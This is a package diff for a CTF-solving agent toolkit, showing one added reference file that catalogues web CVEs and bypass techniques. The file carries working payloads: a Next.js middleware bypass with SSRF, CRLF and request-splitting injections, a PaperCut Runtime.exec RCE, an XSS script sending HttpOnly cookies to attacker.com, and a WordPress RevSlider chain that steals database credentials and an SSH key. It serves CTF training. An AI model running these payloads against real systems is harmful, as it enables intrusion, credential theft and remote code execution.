ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,373 @@
1
+ # CTF Web - CVEs & Browser Vulnerabilities
2
+
3
+ Specific CVEs and vulnerability patterns. For Node.js CVEs (flatnest, Happy-DOM), see [node-and-prototype.md](node-and-prototype.md). For JWT algorithm confusion, see [auth-and-access.md](auth-and-access.md).
4
+
5
+ > [!TIP]
6
+ > **Live CVE & Exploit Intelligence**: To look up in-depth details and current PoCs for any CVE beyond this catalog, refer to [exploit-databases.md](../../references/exploit-databases.md) or execute the automated lookup script:
7
+ > ```bash
8
+ > python scripts/cve_lookup.py <CVE-YYYY-NNNN>
9
+ > ```
10
+
11
+ ## Table of Contents
12
+ - [CVE-2025-29927: Next.js Middleware Bypass](#cve-2025-29927-nextjs-middleware-bypass)
13
+ - [CVE-2025-0167: Curl .netrc Credential Leakage](#cve-2025-0167-curl-netrc-credential-leakage)
14
+ - [Uvicorn CRLF Injection (Unpatched N-Day)](#uvicorn-crlf-injection-unpatched-n-day)
15
+ - [Python urllib Scheme Validation Bypass (0-Day)](#python-urllib-scheme-validation-bypass-0-day)
16
+ - [Chrome Referrer Leak via Link Header (2025)](#chrome-referrer-leak-via-link-header-2025)
17
+ - [TCP Packet Splitting (Firewall Bypass)](#tcp-packet-splitting-firewall-bypass)
18
+ - [Puppeteer/Chrome JavaScript Bypass](#puppeteerchrome-javascript-bypass)
19
+ - [Python python-dotenv Injection](#python-python-dotenv-injection)
20
+ - [HTTP Request Splitting via RFC 2047](#http-request-splitting-via-rfc-2047)
21
+ - [Waitress WSGI Cookie Exfiltration](#waitress-wsgi-cookie-exfiltration)
22
+ - [Deno Import Map Hijacking](#deno-import-map-hijacking)
23
+ - [CVE-2025-8110: Gogs Symlink RCE](#cve-2025-8110-gogs-symlink-rce)
24
+ - [CVE-2021-22204: ExifTool DjVu Perl Injection](#cve-2021-22204-exiftool-djvu-perl-injection)
25
+ - [Broken Auth via Truthy Hash Check (0xFun 2026)](#broken-auth-via-truthy-hash-check-0xfun-2026)
26
+ - [AAEncode/JJEncode JS Deobfuscation (0xFun 2026)](#aaencodejjencode-js-deobfuscation-0xfun-2026)
27
+ - [Protocol Multiplexing — SSH+HTTP on Same Port (0xFun 2026)](#protocol-multiplexing--sshhttp-on-same-port-0xfun-2026)
28
+ - [CVE-2024-28184: WeasyPrint Attachment SSRF / File Read](#cve-2024-28184-weasyprint-attachment-ssrf--file-read)
29
+ - [CVE-2025-55182 / CVE-2025-66478: React Server Components Flight Protocol RCE](#cve-2025-55182--cve-2025-66478-react-server-components-flight-protocol-rce)
30
+ - [CVE-2024-45409: Ruby-SAML XPath Digest Smuggling (Barrier HTB)](#cve-2024-45409-ruby-saml-xpath-digest-smuggling-barrier-htb)
31
+ - [CVE-2023-27350: PaperCut NG Authentication Bypass + RCE (Bamboo HTB)](#cve-2023-27350-papercut-ng-authentication-bypass--rce-bamboo-htb)
32
+ - [CVE-2024-22120: Zabbix Time-Based Blind SQLi (Watcher HTB)](#cve-2024-22120-zabbix-time-based-blind-sqli-watcher-htb)
33
+ - [CVE-2012-0053: Apache HttpOnly Cookie Leak via 400 Bad Request (RC3 CTF 2016)](#cve-2012-0053-apache-httponly-cookie-leak-via-400-bad-request-rc3-ctf-2016)
34
+ - [CVE-2014-9734: WordPress RevSlider Upload + MySQL load_file() SSH Pivot (TAMUctf 2019)](#cve-2014-9734-wordpress-revslider-upload--mysql-load_file-ssh-pivot-tamuctf-2019)
35
+ - [Detection Checklist](#detection-checklist)
36
+
37
+ ---
38
+
39
+ ## CVE-2025-29927: Next.js Middleware Bypass
40
+
41
+ **Affected:** Next.js < 14.2.25, also 15.x < 15.2.3
42
+
43
+ ```http
44
+ GET /protected/endpoint HTTP/1.1
45
+ Host: target
46
+ x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
47
+ ```
48
+
49
+ Bypasses authentication middleware, accesses protected endpoints, admin-only routes.
50
+
51
+ **Chaining with SSRF (Note Keeper, Pragyan 2026):** After middleware bypass, inject `Location` header to trigger Next.js internal fetch to arbitrary URL:
52
+ ```bash
53
+ curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
54
+ -H "Location: http://backend:4000/flag" \
55
+ https://target/api/login
56
+ ```
57
+ Next.js processes the `Location` header and fetches the specified URL internally, enabling SSRF to internal services.
58
+
59
+ ---
60
+
61
+ ## CVE-2025-0167: Curl .netrc Credential Leakage
62
+
63
+ Server A (in `.netrc`) redirects to server B → curl sends credentials to B if B responds with `401 + WWW-Authenticate: Basic`
64
+
65
+ ```python
66
+ @app.route('/<path:path>')
67
+ def leak(path):
68
+ return '', 401, {'WWW-Authenticate': 'Basic realm="leak"'}
69
+ ```
70
+
71
+ ---
72
+
73
+ ## Uvicorn CRLF Injection (Unpatched N-Day)
74
+
75
+ **Affected:** Uvicorn (FastAPI default ASGI server) — reported but ignored.
76
+
77
+ Uvicorn doesn't sanitize CRLF in response headers. Enables:
78
+ 1. **CSP bypass** — inject headers that break Content-Security-Policy
79
+ 2. **Cache poisoning** — break header/body boundary, Nginx caches attacker content
80
+ 3. **XSS** — `\r\n\r\n` terminates headers, rest becomes response body
81
+
82
+ ```python
83
+ payload = {"headers": {"lol\r\n\r\n<script>evil()</script>": "x"}}
84
+ requests.get(f'{HOST}/api/health', params={"test": json.dumps(payload)})
85
+ ```
86
+
87
+ **Detection:** FastAPI/Uvicorn backend + endpoint reflecting user input in response headers.
88
+
89
+ ---
90
+
91
+ ## Python urllib Scheme Validation Bypass (0-Day)
92
+
93
+ **Affected:** Python `urllib` — `urlsplit` vs `urlretrieve` inconsistency.
94
+
95
+ `urlsplit("<URL:http://attacker.com/evil>").scheme` returns `""` (empty), but `urlretrieve` still fetches it as HTTP.
96
+
97
+ ```python
98
+ # App blocks http/https via urlsplit:
99
+ parsed = urlsplit(user_url)
100
+ if parsed.scheme in ['http', 'https']: raise Exception("Blocked")
101
+ # Bypass: <URL:http://attacker.com/malicious.so>
102
+ # Also: %0ahttp://attacker.com/malicious.so (newline prefix)
103
+ ```
104
+
105
+ Legacy `<URL:...>` format from RFC 1738.
106
+
107
+ ---
108
+
109
+ ## Chrome Referrer Leak via Link Header (2025)
110
+
111
+ ```http
112
+ HTTP/1.1 200 OK
113
+ Link: <https://exfil.com/log>; rel="preload"; as="image"; referrerpolicy="unsafe-url"
114
+ ```
115
+
116
+ Chrome fetches linked resource with full referrer URL → leaks tokens from `/auth/callback?token=secret`.
117
+
118
+ ---
119
+
120
+ ## TCP Packet Splitting (Firewall Bypass)
121
+
122
+ Split blocked keywords across TCP packet boundaries:
123
+ ```python
124
+ s = socket.socket(); s.connect((host, port))
125
+ s.send(b"GET /fla")
126
+ s.send(b"g.html HTTP/1.1\r\nHost: 127.0.0.1\r\nRange: bytes=135-\r\n\r\n")
127
+ ```
128
+
129
+ ---
130
+
131
+ ## Puppeteer/Chrome JavaScript Bypass
132
+
133
+ `page.setJavaScriptEnabled(false)` only affects current context. `window.open()` from iframe → new window has JS enabled.
134
+
135
+ ---
136
+
137
+ ## Python python-dotenv Injection
138
+
139
+ Escape sequences and newlines in values:
140
+ ```text
141
+ backup_server=x\'\nEVIL_VAR=malicious_value\n\'
142
+ ```
143
+ Chain with `PYTHONWARNINGS=ignore::antigravity.Foo::0` + `BROWSER=/bin/sh -c "cat /flag" %s` for RCE.
144
+ See ctf-misc/pyjails.md for PYTHONWARNINGS technique details.
145
+
146
+ ---
147
+
148
+ ## HTTP Request Splitting via RFC 2047
149
+
150
+ CherryPy decodes RFC 2047 headers → CRLF injection:
151
+ ```python
152
+ payload = b"value\r\n\r\nGET /second HTTP/1.1\r\nHost: backend\r\n"
153
+ encoded = f"=?ISO-8859-1?B?{base64.b64encode(payload).decode()}?="
154
+ ```
155
+
156
+ ---
157
+
158
+ ## Waitress WSGI Cookie Exfiltration
159
+
160
+ Invalid HTTP method echoed in error response. CRLF splits request, cookie value lands at method position, error echoes it.
161
+
162
+ ---
163
+
164
+ ## Deno Import Map Hijacking
165
+
166
+ Deno v1.18+ auto-discovers `deno.json`. Via prototype pollution:
167
+ ```javascript
168
+ ({}).__proto__["deno.json"] = '{"importMap": "https://evil.com/map.json"}'
169
+ ```
170
+
171
+ ---
172
+
173
+ ## CVE-2025-8110: Gogs Symlink RCE
174
+
175
+ See [server-side.md](server-side.md) for full details.
176
+
177
+ ---
178
+
179
+ ## CVE-2021-22204: ExifTool DjVu Perl Injection
180
+
181
+ **Affected:** ExifTool ≤ 12.23. DjVu ANTa annotation chunk parsed with Perl `eval`. Craft minimal DjVu with injected metadata to achieve RCE on any endpoint processing images with ExifTool.
182
+
183
+ See [server-side-advanced.md](server-side-advanced.md#exiftool-cve-2021-22204--djvu-perl-injection-0xfun-2026) for full exploit code.
184
+
185
+ ---
186
+
187
+ ## Broken Auth via Truthy Hash Check (0xFun 2026)
188
+
189
+ **Pattern:** `sha256().hexdigest()` returns non-empty string (truthy in Python). Auth function checks `if sha256(...)` which is always True — the actual hash comparison is missing entirely.
190
+
191
+ **Detection:** Look for `if hash_function(...)` instead of `if hash_function(...) == expected`.
192
+
193
+ ---
194
+
195
+ ## AAEncode/JJEncode JS Deobfuscation (0xFun 2026)
196
+
197
+ JS obfuscation that ultimately calls `Function(...)()`. Override `Function.prototype.constructor` to intercept:
198
+ ```javascript
199
+ Function.prototype.constructor = function(code) {
200
+ console.log("Decoded:", code);
201
+ return function() {};
202
+ };
203
+ ```
204
+
205
+ **AAEncode:** Japanese Unicode characters. **JJEncode:** `$=~[]` pattern. Both reduce to `Function(decoded_string)()`.
206
+
207
+ ---
208
+
209
+ ## Protocol Multiplexing — SSH+HTTP on Same Port (0xFun 2026)
210
+
211
+ Server distinguishes SSH from HTTP by first bytes. When challenge mentions "fewer ports", try `ssh -p <http_port> user@host`. Credentials may be hidden in HTML comments.
212
+
213
+ ---
214
+
215
+ ## CVE-2024-28184: WeasyPrint Attachment SSRF / File Read
216
+
217
+ **Affected:** WeasyPrint (multiple versions)
218
+
219
+ **Vulnerability:** WeasyPrint processes `<a rel="attachment">` and `<link rel="attachment">` tags, fetching referenced URLs and embedding results as PDF attachments. Internal header checks (e.g., `X-Fetcher`) are NOT applied to attachment fetches.
220
+
221
+ **Attack vectors:**
222
+ 1. **SSRF:** `<a rel="attachment" href="http://127.0.0.1/admin/flag">` -- fetches from localhost, bypasses IP restrictions
223
+ 2. **Local file read:** `<link rel="attachment" href="file:///flag.txt">` -- embeds local files in PDF
224
+ 3. **Blind oracle:** Attachment only appears in PDF if target returns 200 -- use presence of `/Type /EmbeddedFile` as boolean oracle
225
+
226
+ **Extraction:**
227
+ ```bash
228
+ pdfdetach -list output.pdf # List embedded files
229
+ pdfdetach -save 1 -o flag.txt output.pdf # Extract
230
+ ```
231
+
232
+ **Detection:** URL-to-PDF conversion feature, WeasyPrint in `requirements.txt` or `Pipfile`.
233
+
234
+ ---
235
+
236
+ ## CVE-2025-55182 / CVE-2025-66478: React Server Components Flight Protocol RCE
237
+
238
+ **Affected:** React Server Components / Next.js (Flight protocol deserialization). A crafted fake Flight chunk exploits the constructor chain (`constructor → constructor → Function`) for arbitrary server-side JavaScript execution. Identify via `Next-Action` + `Accept: text/x-component` headers. Also reported as CVE-2025-66478 with an alternate prototype chain variant (`__proto__:then` instead of `constructor:constructor`).
239
+
240
+ See [server-side-advanced-4.md](server-side-advanced-4.md#react-server-components-flight-protocol-rce-ehax-2026) for full exploit chain.
241
+
242
+ ---
243
+
244
+ ## CVE-2024-45409: Ruby-SAML XPath Digest Smuggling (Barrier HTB)
245
+
246
+ **Affected:** GitLab 17.3.2 (ruby-saml library)
247
+
248
+ Exploits XPath ambiguity in ruby-saml's signature verification to forge SAML (Security Assertion Markup Language) assertions claiming arbitrary user identity.
249
+
250
+ **Attack chain:**
251
+ 1. Extract IdP (Identity Provider) metadata signature from the legitimate SAML response
252
+ 2. Craft assertion claiming target user (e.g., `akadmin`)
253
+ 3. Set assertion ID to match metadata reference URI
254
+ 4. Compute correct digest and place in `StatusDetail` element — XPath finds this smuggled digest instead of the original
255
+ 5. Submit forged response to `/users/auth/saml/callback`
256
+
257
+ **Detection:** GitLab < 17.3.3 with SAML SSO enabled.
258
+
259
+ ---
260
+
261
+ ## CVE-2023-27350: PaperCut NG Authentication Bypass + RCE (Bamboo HTB)
262
+
263
+ **Affected:** PaperCut NG < 22.0.9 (CVSS 9.8)
264
+
265
+ **Attack chain:**
266
+ 1. Hit `/app?service=page/SetupCompleted` for unauthenticated admin session
267
+ 2. Enable `print-and-device.script.enabled`, disable `print.script.sandboxed` via Config Editor
268
+ 3. Inject RhinoJS script in printer settings for RCE:
269
+ ```javascript
270
+ java.lang.Runtime.getRuntime().exec(["/bin/bash", "-c", "CMD"])
271
+ ```
272
+ 4. Exfiltrate output via HTTP callback with base64 encoding
273
+ 5. Access internal services via Squid proxy:
274
+ ```bash
275
+ curl -x http://TARGET:3128 http://127.0.0.1:9191/app
276
+ ```
277
+
278
+ **Key insight:** The SetupCompleted endpoint grants full admin access without credentials. Chain with Squid proxy to reach internal services.
279
+
280
+ ---
281
+
282
+ ## CVE-2024-22120: Zabbix Time-Based Blind SQLi (Watcher HTB)
283
+
284
+ **Affected:** Zabbix (audit log functionality via trapper port 10051)
285
+
286
+ Exploits unsanitized `clientip` field in Zabbix trapper protocol to achieve time-based blind SQL injection, then escalates to RCE via Zabbix API.
287
+
288
+ **Attack chain:**
289
+ 1. Log in to Zabbix frontend as guest, decode base64 cookie to extract `sessionid`
290
+ 2. Send crafted `clientip` field via trapper port 10051 for time-based blind SQLi
291
+ 3. Extract admin session ID character-by-character via sleep timing
292
+ 4. Authenticate to Zabbix API with stolen admin session
293
+ 5. Achieve RCE via `script.create` + `script.execute` API calls
294
+
295
+ **Key insight:** `\r` (carriage return) in exploit script output can leave visual artifacts. Verify extracted session ID is exactly 32 hex characters before using it.
296
+
297
+ **Detection:** Zabbix with trapper port 10051 exposed. Audit log functionality enabled.
298
+
299
+ ---
300
+
301
+ ## CVE-2012-0053: Apache HttpOnly Cookie Leak via 400 Bad Request (RC3 CTF 2016)
302
+
303
+ Apache 2.2.x (before 2.2.22) reflects cookies in 400 Bad Request error pages, bypassing HttpOnly flag protection. Chain with XSS to exfiltrate session cookies.
304
+
305
+ ```javascript
306
+ // XSS payload to trigger Apache 400 error and leak HttpOnly cookies
307
+ // Works on Apache 2.2.0 - 2.2.21
308
+
309
+ // Step 1: Inflate cookie header to exceed Apache's limit (triggers 400)
310
+ var xhr = new XMLHttpRequest();
311
+ document.cookie = "padding=" + "A".repeat(4000);
312
+
313
+ // Step 2: Request to the vulnerable Apache server
314
+ xhr.open("GET", "http://target:8080/", true);
315
+ xhr.withCredentials = true;
316
+ xhr.onreadystatechange = function() {
317
+ if (xhr.readyState == 4) {
318
+ // 400 response body contains ALL cookies including HttpOnly ones
319
+ var cookies = xhr.responseText.match(/Cookie:.*$/m);
320
+ // Exfiltrate to attacker
321
+ new Image().src = "http://attacker.com/steal?c=" + encodeURIComponent(cookies);
322
+ }
323
+ };
324
+ xhr.send();
325
+ ```
326
+
327
+ **Key insight:** Apache 2.2.x before 2.2.22 included the full Cookie header in 400 Bad Request HTML responses, including HttpOnly cookies. Combined with XSS on the same origin, this defeats HttpOnly protection entirely. Check server version headers for vulnerable Apache instances.
328
+
329
+ ---
330
+
331
+ ## CVE-2014-9734: WordPress RevSlider Upload + MySQL load_file() SSH Pivot (TAMUctf 2019)
332
+
333
+ **Affected:** WordPress Slider Revolution (RevSlider) plugin `<= 3.0.95` — arbitrary file upload via `update_plugin` admin-ajax action, exploitable unauthenticated.
334
+
335
+ **Version fingerprint:** Fetch `/wp-content/plugins/revslider/release_log.txt` — the plugin writes its version there even when the admin UI is locked down.
336
+
337
+ ```bash
338
+ # 1. RCE via RevSlider upload (Metasploit module)
339
+ msfconsole -q -x "use exploit/unix/webapp/wp_revslider_upload_execute; \
340
+ set RHOSTS 172.30.0.3; set LHOST tun0; exploit"
341
+
342
+ # 2. From the meterpreter shell, steal DB creds from wp-config.php
343
+ cat /var/www/wp-config.php | grep -E "DB_(NAME|USER|PASSWORD|HOST)"
344
+ # -> DB_USER='wordpress', DB_PASSWORD='0NYa6PBH52y86C', DB_HOST='172.30.0.2'
345
+
346
+ # 3. Pivot: connect as the DB user and read any world-readable file with load_file()
347
+ mysql -h 172.30.0.2 -u wordpress --password='0NYa6PBH52y86C' \
348
+ -e "SELECT load_file('/backup/id_rsa')"
349
+ # (requires FILE privilege, granted to the WP user on older default stacks)
350
+
351
+ # 4. Use the exfiltrated key to SSH into the target as root
352
+ chmod 400 rsa.key
353
+ ssh -i rsa.key root@172.30.0.3
354
+ ```
355
+
356
+ **Key insight:** RCE via plugin upload is rarely the end — extract `wp-config.php` DB creds, connect to the database, and `load_file()` to read any world-readable file (private SSH keys under `/backup/`, `/root/.ssh/`, `/home/*/.ssh/`, CI secrets, etc.), then SSH pivot to the real target box. The WP user almost always has FILE privilege on CTF setups. Exploits to chain with a single file-upload: `wp_revslider_upload_execute`, `wp_admin_shell_upload`, `wp_asset_manager_upload_exec`, `wp_symposium_shell_upload`.
357
+
358
+ **References:** TAMUctf 2019 — Wordpress, writeup 13593. Rapid7 module `exploit/unix/webapp/wp_revslider_upload_execute`.
359
+
360
+ ---
361
+
362
+ ## Detection Checklist
363
+
364
+ 1. **Framework versions** in `package.json`, `requirements.txt`, `Dockerfile`
365
+ 2. **ASGI/WSGI server** (Uvicorn, Waitress) for CRLF/header issues
366
+ 3. **curl usage** with `.netrc` or redirect handling
367
+ 4. **Firewall/WAF** inspection patterns (TCP packet splitting)
368
+ 5. **dotenv** or environment variable handling
369
+ 6. **urllib** scheme validation (check for `<URL:...>` bypass)
370
+ 7. **Node.js libraries** — see [node-and-prototype.md](node-and-prototype.md) for full list
371
+ 8. **GitLab with SAML SSO** — check version for ruby-saml CVE-2024-45409
372
+ 9. **PaperCut NG** — check for `/app?service=page/SetupCompleted` unauthenticated access
373
+ 10. **Zabbix trapper port** (10051) — audit log SQLi via `clientip` field